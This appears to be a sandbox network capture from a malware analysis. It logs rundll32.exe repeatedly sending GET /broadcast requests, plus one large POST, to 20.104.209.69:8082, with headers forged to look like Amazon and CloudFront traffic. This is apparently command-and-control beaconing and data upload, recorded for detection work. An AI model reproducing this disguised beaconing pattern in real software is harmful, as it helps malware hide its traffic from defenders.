Jan 8, 2023 16:09:47.507551908 CET	1592	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:47.625920057 CET	1593	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:38 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
386	192.168.2.6	50085	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:47.887584925 CET	1595	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:48.005059958 CET	1596	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:39 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
387	192.168.2.6	50086	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:48.273823023 CET	1599	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:48.392344952 CET	1599	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:39 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
388	192.168.2.6	50087	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:48.690742016 CET	1602	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:48.810406923 CET	1602	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:40 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
389	192.168.2.6	50088	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:49.072247028 CET	1605	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:49.190685034 CET	1605	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:40 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.6	49737	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:15.218722105 CET	480	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:15.337297916 CET	481	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:06 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
390	192.168.2.6	50089	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:49.455158949 CET	1608	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:49.573672056 CET	1609	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:40 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
391	192.168.2.6	50090	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:49.838332891 CET	1611	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:49.957540035 CET	1612	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:41 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
392	192.168.2.6	50091	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:50.222174883 CET	1615	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:50.339487076 CET	1615	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:41 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
393	192.168.2.6	50092	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:50.603357077 CET	1618	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:50.722775936 CET	1618	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:41 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
394	192.168.2.6	50093	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:50.984417915 CET	1621	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:51.102443933 CET	1621	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:42 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
395	192.168.2.6	50094	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:51.354813099 CET	1624	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:51.513955116 CET	1625	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:42 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
396	192.168.2.6	50095	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:51.790786982 CET	1627	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:51.908757925 CET	1628	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:43 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
397	192.168.2.6	50096	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:52.167351007 CET	1630	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:52.285697937 CET	1631	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:43 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
398	192.168.2.6	50097	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:52.539773941 CET	1633	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:52.657823086 CET	1634	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:43 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
399	192.168.2.6	50098	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:52.927278042 CET	1637	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:53.046828032 CET	1637	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:44 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.6	49702	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:06:58.478043079 CET	355	OUT	POST /1/events/com.amazon.csm.csa.prod HTTP/1.1 Accept: / Origin: https://www.amazon.com x-amz-rid: MTQxMDk0MTc0OA User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Content-Length: 15691 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:06:58.714178085 CET	371	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:06:49 GMT Server: Server Content-Type: application/json Connection: close Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Expose-Headers: x-amzn-RequestId,x-amzn-ErrorType,x-amzn-ErrorMessage,Date Access-Control-Allow-Credentials: true Vary: Origin,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-Agent Permissions-Policy: interest-cohort=() Content-Length: 94

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.6	49738	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:15.621061087 CET	483	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:15.738215923 CET	484	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:07 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
400	192.168.2.6	50099	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:53.300023079 CET	1640	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:53.418289900 CET	1640	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:44 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
401	192.168.2.6	50100	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:53.674154997 CET	1643	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:53.792149067 CET	1643	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:45 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
402	192.168.2.6	50101	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:54.067894936 CET	1646	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
